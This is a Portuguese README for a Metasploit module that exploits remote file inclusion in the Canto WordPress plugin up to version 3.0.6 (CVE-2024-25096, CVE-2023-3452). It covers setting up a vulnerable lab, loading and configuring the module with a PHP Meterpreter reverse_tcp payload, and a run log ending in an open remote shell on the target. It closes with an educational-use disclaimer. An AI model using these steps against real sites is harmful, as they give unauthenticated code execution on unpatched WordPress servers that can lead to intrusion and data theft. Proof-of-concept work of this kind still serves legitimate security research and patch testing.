
este é um módulo de exploit do Metasploit para CVE-2024-25096 e CVE-2023-3452
Este exploit é uma prova de conceito das vulnerabilidades de RFI CVE-2024-25096 e CVE-2023-3452, que permitem ao atacante estabelecer uma sessão de shell remota interativa no alvo.
CVE-2024-25096 abusa do parâmetro abspath, que permite a inclusão remota de arquivos por meio da instrução include_once. CVE-2023-3452 tem o mesmo procedimento, exceto que o parâmetro “wp_abspath” permite inclusão remota de arquivos por meio da instrução require_once. Isso permite que o atacante execute código sem autenticação no servidor alvo.
Embora os bancos de dados de vulnerabilidades listem CVE-2023-3452 como afetando versões até 3.0.4, os testes confirmaram que a vulnerabilidade permanece explorável até a versão 3.0.6. O problema foi corrigido na versão 3.0.7, a mesma versão que corrige CVE-2024-25096.
As seguintes condições são necessárias para que o alvo seja vulnerável:
allow_url_include=On Clone este repositório e baixe o plugin canto
Observe que, se você quiser baixar uma versão anterior do Canto, basta copiar o link e alterar o número da versão no link para a versão desejada.
Inicie o contêiner (docker-compose.yaml) com o comando podman-compose up.
Abra http://localhost:8889/wp-admin/install.php em um navegador de sua preferência e configure uma conta do WordPress.

Após fazer login, você pode selecionar e instalar o arquivo zip do canto na aba Plugins -> Adicionar novos plugins -> Enviar plugin.

Adicione o exploit (rce_exploit_cve_2024_25096.rb) à pasta de módulos do Metasploit.
Inicie o Metasploit (msfconsole) e recarregue o Metasploit (reload_all).
Selecione o payload.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
defina os valores das variáveis necessárias
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
Execute o exploit e torça pelo melhor ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
Este projeto é fornecido apenas para fins educacionais e de pesquisa em segurança.
O autor não incentiva nem apoia atividades ilegais. Qualquer uso deste código para atacar sistemas sem permissão é estritamente proibido.
O autor não se responsabiliza por qualquer uso indevido ou dano causado por este software. Os usuários são responsáveis por garantir que cumprem todas as leis e regulamentos aplicáveis.
Use este código somente em ambientes onde você tenha permissão explícita, como ambientes de laboratório, trabalhos de teste de penetração ou pesquisa em segurança.